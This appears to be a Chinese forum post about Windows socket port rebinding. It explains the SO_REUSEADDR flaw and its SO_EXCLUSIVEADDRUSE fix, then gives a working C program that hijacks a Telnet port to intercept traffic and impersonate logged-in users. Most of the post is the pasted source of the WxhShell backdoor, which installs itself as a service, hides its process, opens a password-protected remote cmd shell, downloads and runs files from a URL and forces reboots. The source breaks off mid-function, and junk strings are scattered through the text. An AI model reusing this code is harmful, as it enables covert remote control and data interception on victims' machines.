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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -PbGNF s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sg;Gk/] 0t*JP saddr.sin_family = AF_INET; bLUn>ch pFXDo4eH saddr.sin_addr.s_addr = htonl(INADDR_ANY); \om$%FUP %a<N[H3NV@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); sw6]Bc %a&Yt 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .e!dEF)D 3+u11'0=t 这意味着什么?意味着可以进行如下的攻击: %L.,:m tq) ,'v ]U@WK 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (Gf1#,/3~ :/c=."z. 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) PaP47>( \|BtgT *$b 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'b]GcAL '*MNRduE6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ..UmbJJ.u tu#VZAPW@ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ),v[.9!}: +v2Fr} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 dy-m9fc6% j#$ R. 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5&D)W>{d q+.DZ
@ #include B4bC6$Lg #include YQ}Rg5o #include YK!nV , #include f;!1=/5u- DWORD WINAPI ClientThread(LPVOID lpParam); L#Uk= int main() sDTCV8"w { n"N!76 WORD wVersionRequested; r0379 _ DWORD ret; oFB~)}f<v WSADATA wsaData; V%g$LrLVe BOOL val; 75v 5/5zRn SOCKADDR_IN saddr; Bwj^9J/ob SOCKADDR_IN scaddr; }
1^/[? int err; fdc
?`4 SOCKET s; 'e^,#L_!o SOCKET sc; y/k6gl[` int caddsize; |'9%vtbM HANDLE mt; "toyfZq@ DWORD tid; f]L`^WU
wVersionRequested = MAKEWORD( 2, 2 ); /5 B{szf err = WSAStartup( wVersionRequested, &wsaData ); j$'L-kK+ if ( err != 0 ) { zPEx;lO$ printf("error!WSAStartup failed!\n"); jku_0Q0*? return -1; vQ>x5\r5O_ } oXRmnt saddr.sin_family = AF_INET; X|^E+
`M4 G7yCGT)vQ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lyNa(3
Eo
5p- saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f=]+\0MQ saddr.sin_port = htons(23); Gl}[1<~o if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ox7v*[x' { "aIiW VQ printf("error!socket failed!\n"); qL.1N~$2 return -1; VC5LxA0{ } j9)P3=s val = TRUE; Fi vgOa //SO_REUSEADDR选项就是可以实现端口重绑定的 `9E:V= if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @GDe{GG+ { )8VrGg? printf("error!setsockopt failed!\n"); @]P#]%^D2 return -1; 3}e-qFlV8, } Yf:xM>.% //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %K8Ei/p\t] //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DXu#07\ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {R%v4#nk
_+[;NBz if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k FE2Vv4. { uCO-f<b ret=GetLastError(); [[2Zcz: printf("error!bind failed!\n"); n[8ju,= return -1; smvIU0:K } Tj7OV}: listen(s,2); teH.e!S while(1) )w(-Xc?P { S+Z_Qf caddsize = sizeof(scaddr); GEj/Z};;[b //接受连接请求 (jd)sf6Tj[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); by!1L1[JTt if(sc!=INVALID_SOCKET) j oDY { Sm(X/P=z mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )'3(=F$+l if(mt==NULL) 1)yEx1 { 4XpW#> printf("Thread Creat Failed!\n"); d.Wq@(ZoA break; ^kJ(bBY } ^0vK > } z+,l"#Vv CloseHandle(mt); 2Z K:S+c } |YCGWJaci closesocket(s); >]K:lJ]l WSACleanup(); n6D9f~8" return 0; 1><@$kVMm~ } y|X</3w DWORD WINAPI ClientThread(LPVOID lpParam) l)tK/1 W { 9eO!_a^ SOCKET ss = (SOCKET)lpParam; UJ0fYTeuI SOCKET sc; Afa|6zZ> unsigned char buf[4096]; 2L"$p? SOCKADDR_IN saddr; dz@L}b* long num; jo-jPYH T DWORD val; 0?OTa<c DWORD ret; $I*ye+a*{q //如果是隐藏端口应用的话,可以在此处加一些判断 :cU6W2EV //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 I/4:SNha saddr.sin_family = AF_INET; NwPGH=V saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j#L"fW^GM saddr.sin_port = htons(23); s|B if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4M4Y2fBH { %N+8K printf("error!socket failed!\n"); JLgk? return -1; mU0j K@^&M } r9nH6 Md\ val = 100; ,dn6z#pb+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !qGER. { RW| LL@r ret = GetLastError(); mHCp^g4Q return -1; )H=}bqn } 8T"C] if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XG_h\NIL { %]NaHf ret = GetLastError(); 6{Y3-Pxg return -1; tuH8!. } Itq248+Ci if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7>
~70 { <[iw1> printf("error!socket connect failed!\n"); :yg:sU closesocket(sc); PP/EZ ^]b closesocket(ss); 1,UeVw/ return -1; cHqT1EY } iA*^`NMaT while(1) ^na8d's: { pc9m,?n //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 m#
y` //如果是嗅探内容的话,可以再此处进行内容分析和记录 _cPGS=Ew //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 BG ]w2= num = recv(ss,buf,4096,0); 2"0q9 Jg if(num>0) \l)Jb*t send(sc,buf,num,0); EFpV else if(num==0) ~)J]`el,Q break; \3nu &8d num = recv(sc,buf,4096,0); Kf=6l#J7 if(num>0) ^n! j" send(ss,buf,num,0); (41BUX else if(num==0) ]M^k~Xa break; G@$Y6To[ } bogw /)1 closesocket(ss); ,Sz`$'^c closesocket(sc); NMaZ+g!t( return 0 ; x<&2`= } Std?p{
i $H\[yg>4 PSCzeR ========================================================== t2bv
nh d_t> 下边附上一个代码,,WXhSHELL jhRg47A R#"LP7\ ========================================================== <4lR 0}LBnV #include "stdafx.h" q47>RWMh% !4;A"B( #include <stdio.h> 9E`WZo^. #include <string.h> LWH(bs9U #include <windows.h> 8bf_W3 #include <winsock2.h> qDSZ:36 #include <winsvc.h> _:N+mEF #include <urlmon.h> 8{0=tOXx{ FYwMmb
~3 #pragma comment (lib, "Ws2_32.lib") Tt;h? #pragma comment (lib, "urlmon.lib") l]g
/rs Bh`Y?S #define MAX_USER 100 // 最大客户端连接数 F_^)zss #define BUF_SOCK 200 // sock buffer 0`WjM2So #define KEY_BUFF 255 // 输入 buffer JAt$WW{ Rs$fNW@P #define REBOOT 0 // 重启 8|]r>L$Wk #define SHUTDOWN 1 // 关机 1gK<dg c>SFttbU #define DEF_PORT 5000 // 监听端口 5Z8Zb. +qPpPjG; #define REG_LEN 16 // 注册表键长度 ^|^yw gK #define SVC_LEN 80 // NT服务名长度 E&;[E C0f<xhp?j // 从dll定义API \@\r`=WgB typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ajM3Uwnr typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a:q>7V|%$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :| s typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dM-qd` egXHp<bqw // wxhshell配置信息 `EBI$;! struct WSCFG { %-nYK3 int ws_port; // 监听端口 _cRCG1CJ char ws_passstr[REG_LEN]; // 口令 st_.~m!/ int ws_autoins; // 安装标记, 1=yes 0=no \*a7o GyH> char ws_regname[REG_LEN]; // 注册表键名 xX !`0T7Y char ws_svcname[REG_LEN]; // 服务名 kT-dQ32 char ws_svcdisp[SVC_LEN]; // 服务显示名 w}20l F char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?&gqGU} char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3p+V~n.+ int ws_downexe; // 下载执行标记, 1=yes 0=no RJp Rsr
char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" zh.^>
` char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o[
Je "V=IG{. }; I ~U1vtgp kVmRv.zZ // default Wxhshell configuration 9V'ok.B.x struct WSCFG wscfg={DEF_PORT, Ri "xuhuanlingzhe", #oYPe:8|m 1, 6D\$K "Wxhshell", B5A/Iv)2 "Wxhshell", $yn7XonS "WxhShell Service", (yJY/| "Wrsky Windows CmdShell Service", U}yq*$N "Please Input Your Password: ", ?DGe}?pX 1, @sr~&YhA " http://www.wrsky.com/wxhshell.exe", 21T#NYfew "Wxhshell.exe" *+i1m`6Q }; Y:?cWO \ 4`:~c // 消息定义模块 5wE+p<-KX char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JI3x^[(Z char *msg_ws_prompt="\n\r? for help\n\r#>"; #NyfE|MKBC char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r";
DXa!"ZU char *msg_ws_ext="\n\rExit."; i-jrF6& char *msg_ws_end="\n\rQuit."; P
Nf_{4 char *msg_ws_boot="\n\rReboot..."; OGR2Y char *msg_ws_poff="\n\rShutdown..."; *HONA>u
char *msg_ws_down="\n\rSave to "; UR|Au'iu F HK{cE char *msg_ws_err="\n\rErr!"; A3uF 0A char *msg_ws_ok="\n\rOK!"; cb3Q{.-.# %&5PZmnW char ExeFile[MAX_PATH]; /g]NC? int nUser = 0; IDY2X+C#U HANDLE handles[MAX_USER]; 3
0.&Lzz int OsIsNt; 6"L,#aKm^ c%+_~iBUN SERVICE_STATUS serviceStatus; o#Viz: SERVICE_STATUS_HANDLE hServiceStatusHandle; u]z87#4 zk;'`@7 // 函数声明 5Ic'6AIz int Install(void); '% if< / int Uninstall(void); /prR;'ks int DownloadFile(char *sURL, SOCKET wsh); w7%.EA{N int Boot(int flag); 1RgERj void HideProc(void); {y%|Io`P int GetOsVer(void); '>^!a!<G int Wxhshell(SOCKET wsl); !jTxMf
void TalkWithClient(void *cs); %Q080Ltet int CmdShell(SOCKET sock); ?8/T#ox int StartFromService(void); *UZd!a) int StartWxhshell(LPSTR lpCmdLine); !{+a2wi 1\X_B`xwD VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dJ9v/k_ VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y6[O
s1 m S4N%Q // 数据结构和表定义 'Ul^V SERVICE_TABLE_ENTRY DispatchTable[] = lD#S:HX { t ch;_7? {wscfg.ws_svcname, NTServiceMain}, M{jJ>S{g {NULL, NULL} 4M)oA|1w }; 7PW7&]-WQ Pr_DMu // 自我安装 v&)G~cz int Install(void) 0t?g! { re xMS char svExeFile[MAX_PATH]; A7I{Le HKEY key; ;U&~tpd strcpy(svExeFile,ExeFile); B;^1W{%J UlMc8 z // 如果是win9x系统,修改注册表设为自启动 b:Tv
Ta if(!OsIsNt) { ANRZQpnXQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LL_@nvu}M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >H,5MM! RegCloseKey(key); HoO1_{q" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6ltV}Wt- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _oE 7< RegCloseKey(key); =X;h _GQ return 0; )agrx76]3w } v:gdG|n" } (XNd]G } +[`
)t/ else { m^o?{
(K 9yK\<6}}QH // 如果是NT以上系统,安装为系统服务 pHzl/b8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v[\GhVb if (schSCManager!=0) (,R\6 { ?BRZ){) SC_HANDLE schService = CreateService 2t;3_C ( qV)hCc/ ~ schSCManager, i.0d>G><@ wscfg.ws_svcname, `Ip``I#A wscfg.ws_svcdisp, 20w4
'@sq
SERVICE_ALL_ACCESS, p:ubj'(U05 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2i$_ ,[fi SERVICE_AUTO_START, 6t{G{ ] SERVICE_ERROR_NORMAL, 4xF}rm svExeFile, cp&1yB
NULL, ge ]Z5E(1 NULL, tP89gN^PA| NULL, KP_7h/e NULL, zHD8\* NULL wAo6:) ); qGi\*sc>x if (schService!=0) F8xu&Vk0: { e8&7W3 m CloseServiceHandle(schService); a5/r|BiBK CloseServiceHandle(schSCManager); (_R!:H(]m strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z~ K} @ strcat(svExeFile,wscfg.ws_svcname); EY@KWs3"H if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q2'`K|T RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sWKv>bx RegCloseKey(key); kbSl.V%) return 0; n]8*yoge } jfYM*% } F$S/zh$)0 CloseServiceHandle(schSCManager); y]g5S-G } `('NH]^ } l%qfaU2 Ckhwd return 1; AZ
SaI } ,xutI L7"<a2J // 自我卸载 C'PHbo: int Uninstall(void) lNMJcl3 { 2RdpVNx\y HKEY key; s
>k4G %reW/;)l{ if(!OsIsNt) { ~FVbL-2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L+Gi RegDeleteValue(key,wscfg.ws_regname); uT
Y G/O RegCloseKey(key); w+{{4<+cd if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .*?)L3n+t RegDeleteValue(key,wscfg.ws_regname); y!x-R!3 RegCloseKey(key); jX,A. return 0; M"foP@ } ceLr;}?Ws } GuF-HP}xM } %;#9lkOXWH else { ;L,yJ~ D=B :tP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &`_|[Y ]H if (schSCManager!=0) eGUe#(I / { 'cY@Dqg1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
9y*(SDF if (schService!=0) +A%zFF3 { #2+hu^Q- if(DeleteService(schService)!=0) { 3*R(&O6} CloseServiceHandle(schService); \5b<!Nl CloseServiceHandle(schSCManager); =nCV.Wf return 0; mo]>Um'F } wKJK!P CloseServiceHandle(schService); fN
1:'d } 9Dyw4'W.N CloseServiceHandle(schSCManager);
LNvkC4 } R(2MI}T } T{
lm
z<g ^.M_1$- return 1; p+2uK|T9 } Y'y$k @"^(} 6 // 从指定url下载文件 ,88%eX| int DownloadFile(char *sURL, SOCKET wsh) Pd(n|t3[8 { R!WeSgKCs HRESULT hr; cSj(u%9} char seps[]= "/"; SNV;s, char *token; mN#&NA char *file; kEg~yN char myURL[MAX_PATH]; :0Fwaw9PH" char myFILE[MAX_PATH]; eh*F/Gu :$QwOz^N* strcpy(myURL,sURL); |h:3BV_ token=strtok(myURL,seps); +*RpOtss while(token!=NULL) bL5dCQxty { S1!_ IK$m file=token; %;` 3I$ token=strtok(NULL,seps); V{0 V/Nv } -Q!?=JNtQ ezd@>(hJ GetCurrentDirectory(MAX_PATH,myFILE); Kw>gg strcat(myFILE, "\\"); E}]SGU" strcat(myFILE, file); _xdttO^N send(wsh,myFILE,strlen(myFILE),0); ;~s@_}& send(wsh,"...",3,0); 73M;-qnU hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EKT"pL-EY if(hr==S_OK) Q1
vse return 0; 6:\z8fYD else W*D*\E return 1; .gI9jRdKw UKSI"/8I } c:}K(yAdd y)Lyo'` // 系统电源模块 ,]?l(H $x' int Boot(int flag) ? oGmGKq { D7$xY\0r HANDLE hToken; Sq2yQSd TOKEN_PRIVILEGES tkp; iainl@3Qj (yz8}L3 if(OsIsNt) { $w<~W1\: OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JDC,] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5TdI tkp.PrivilegeCount = 1; W&^2Fb tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .{]=v AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [g*]u3s if(flag==REBOOT) { u"a$/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;D<rGkry return 0; ,<-a 6 } &nZ.$UK< else { j8p'B-yS if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?r~](l return 0; k<S!| } 0 .p $q } ; d
> else { kC[nY if(flag==REBOOT) { HjN )~<j if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6_a.`ehtj< return 0; 5(OF~mX# } ~
.Eln+N else { ~9ILN~91 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v6?<)M% return 0; ,K[B/tD{j } wwmODw<tT } Web8"8eD 5*>3(U return 1; L9U<E $%# } l+ <x ]t3
NA*mM // win9x进程隐藏模块 AuYi$?8|5 void HideProc(void) I!Za2? { `P4qEsZE>` gf2w@CVF>= HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _E[{7"3} if ( hKernel != NULL ) *)d|:q3 { Lp*T=]C] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Cj):g,[a ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); efP2 C\ FreeLibrary(hKernel); am05>c9 } `\P :rn95; Y<.F/iaH return; _>:g&pS/ } tdr*>WL 4/U]7Y // 获取操作系统版本 vR~*r6hX8 int GetOsVer(void) 49Ue2=PP# { @kwD$%*0 OSVERSIONINFO winfo; 7"JU)@ U] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U>x2'B v GetVersionEx(&winfo); .]H]H *wC if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uf)W?`e~ return 1; L ou4M else .^.UJo;4G return 0; 90aPIs- } ^! ZjK-$A< |:r/K // 客户端句柄模块 |I+E`,n"b int Wxhshell(SOCKET wsl) y!!+IeReS { e?lqs,m@" SOCKET wsh; D&9j$#9Rh struct sockaddr_in client; *Ucyxpu~$ DWORD myID; ::T<de7 6eK^T= while(nUser<MAX_USER) e#HP+b$ { FvI`S> int nSize=sizeof(client); L
kq>>?T= wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (Fgt #H(B if(wsh==INVALID_SOCKET) return 1; Nyqm0C6m^ Dfhs@ z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |f?C*t', if(handles[nUser]==0) *u{.K:.I closesocket(wsh); 1v\-jM" else M*S5&xpX nUser++; fp![Pbms. } Z%OS W WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >;3c;nf 4QZy-a*tA return 0;
B?%D } #=.h:_9 -X}R(.}x // 关闭 socket ,m b3H void CloseIt(SOCKET wsh) "^D6%I#T { c\b>4 &n closesocket(wsh); !Z'm@,+ nUser--; +li^0+3-' ExitThread(0); (
L6`_) } :A{-^qd( !yI)3;$* // 客户端请求句柄 TQ2Tt" void TalkWithClient(void *cs) 8c|IGC { \4p<;$' G\NCEE'A SOCKET wsh=(SOCKET)cs; +Ae.>%} char pwd[SVC_LEN]; >SGSn/AJi char cmd[KEY_BUFF]; 7z,M`14 char chr[1]; hW+Dko(s int i,j; 1a!h&!$9 x/S% NySG while (nUser < MAX_USER) { tQ}gBE63 z*[Z: if(wscfg.ws_passstr) { j{Fo 6## if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4#YklVm //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); si;]C~X* //ZeroMemory(pwd,KEY_BUFF); d?P
aZz{4 i=0; 0Yjy while(i<SVC_LEN) { &4[iC/} 5nn*)vK { // 设置超时 Bm7GU`j" fd_set FdRead; -?'CUm*Od struct timeval TimeOut; "}EbA3 FD_ZERO(&FdRead); r/T DU[`& FD_SET(wsh,&FdRead); WE7l[<b TimeOut.tv_sec=8; 7@"X~C TimeOut.tv_usec=0; g0U
?s int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z} \9/` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rN~`4mZ By_Ui6:D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e.GzGX pwd =chr[0]; DRIv<=Bt if(chr[0]==0xd || chr[0]==0xa) { R`&ioRWj pwd=0; T7Ac4LA break; tVcs r } Vwqfn4sx?i i++; mC7Y * } ;~bn@T- >D;hT*3 // 如果是非法用户,关闭 socket e`rY]X if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RVsN r
rZ } M Sj0D2H 7a<qP=J send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N
[u
Xo send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -CrZ'k;4 y{]%, while(1) { }sU\6~ |@ HdTGD ZeroMemory(cmd,KEY_BUFF); 7e<Q{aB I@ k8^ // 自动支持客户端 telnet标准 Jq#Cn+zW j=0; F%d"gF0qu while(j<KEY_BUFF) { ;^*!<F%t9R if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `Vi:r9|P cmd[j]=chr[0]; NHF?73: if(chr[0]==0xa || chr[0]==0xd) { @7=D ]yu cmd[j]=0; KIFx&A break; ]EnaZWyO] } 5!zvoX9 j++; pQ Y> } n:D*r$ C|p ,Tl5@RN // 下载文件 .[fz x` if(strstr(cmd,"http://")) { %}!}2s.A send(wsh,msg_ws_down,strlen(msg_ws_down),0); Snu;5:R if(DownloadFile(cmd,wsh)) sJ/e=1* send(wsh,msg_ws_err,strlen(msg_ws_err),0); }j1Zk4}[x else 03o3[g? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0?xiG SZV } Y(zN else { 7]j-zv )''wu\7A)' switch(cmd[0]) { %6'D!H?d =.hDf<U // 帮助
1}E@lOc case '?': {
A*~1Uz\t send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lKUm_; m break; %},G(> } \2xBOe-a] // 安装 J\'5CG case 'i': { rb'Gve W[ if(Install()) jSYg\Z5! send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ib8i#D V else }GDG$QI]K& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !nq\x8nU break; 0Zh
_Q } 8M9\<k6 // 卸载 ^&H=dYcV>/ case 'r': { A'1AU:d if(Uninstall()) R?~h7 d send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z3>xpw G else ~+egu89'TU send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jYX9;C;J break; tC:,!4 P$ } TrU@mYnE // 显示 wxhshell 所在路径 je4&'vyU case 'p': { A9Wqz"[ char svExeFile[MAX_PATH]; ('q vYQ strcpy(svExeFile,"\n\r"); az;jMnPpR5 strcat(svExeFile,ExeFile); <]^;/2.B send(wsh,svExeFile,strlen(svExeFile),0); :V~*vLvR break;
c dbSv=r } dMmka // 重启 rDX'oP: case 'b': { {IHK<aW send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aSkx#mV if(Boot(REBOOT)) cC^C7AAq^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;kW}'&Ug else { F ssEs!# closesocket(wsh); UX`DZb+^ ExitThread(0); #6sC&w3 } *P R_Y=v% break; .l=*R7~EU } Z/= %J3f // 关机 |zq!CLjD@ case 'd': { G+ v, Hi1 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Rgfhs[Z if(Boot(SHUTDOWN)) }K80G~O2< send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Lmc%y else { C'czXZtn closesocket(wsh); nQ17E{^pR ExitThread(0); :LiDJF } Z3So|M{v break; xY'qm8V } Vt=(2d5:p // 获取shell (F[/~~ case 's': { O+p-1 C$\ CmdShell(wsh); tNuC xb- closesocket(wsh); j'Y"/< ExitThread(0); j8Q5d` break; E<CxKY9 } mzE$aFu8 // 退出 Mq:'-` case 'x': { pl x/}ah8 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~8xh0TSi CloseIt(wsh); )d(0Y<e@ break; XyM(@6,' } d&T6p&V$ // 离开 L;M^>{> case 'q': { s"',370 send(wsh,msg_ws_end,strlen(msg_ws_end),0); `}~)1'(#/ closesocket(wsh);
Q
A)9 WSACleanup(); Rw}2* 5#y exit(1); *e3L4 7"G break; g"]<J& } n!ZP?]FR } '"w}gx } c@9Z&2) dxn0HXU // 提示信息 *$Lz2 ] if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gJPDNZ*6pk } mvTyx7h= } `e?;vA& G?1x+H;o5 return; qTTn51 } 9R@abm,I ~+<xFi // shell模块句柄 U8K&Q4^ int CmdShell(SOCKET sock) 6<s(e_5f { 7^I$%o 1g STARTUPINFO si; S*CLt ZeroMemory(&si,sizeof(si)); Vo9>o@FlLM si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'EL || si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dF{6>8D=5B PROCESS_INFORMATION ProcessInfo; 6mBDd>`0 char cmdline[]="cmd"; VPM|Rj:d CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eMN+qkvH return 0; Wg`+u } L7Qo- ]D{c4)\7C| // 自身启动模式 pfL2v,]g int StartFromService(void) r}R^<y@I { dqD;y#/ typedef struct 8K.s@< { EvqUNnjR DWORD ExitStatus; i'!jx. DWORD PebBaseAddress; cB ab2/ DWORD AffinityMask; Yz2{LW[K DWORD BasePriority; BZJKiiD ULONG UniqueProcessId; C!7U<rI ULONG InheritedFromUniqueProcessId; @1<omsl } PROCESS_BASIC_INFORMATION; Ehb?CnV#J T/wM(pr'
PROCNTQSIP NtQueryInformationProcess; Mu'^OX82 +MNSZLP] static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P?q
G static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {5QosC+o6Q H}h~~7E HANDLE hProcess; 0
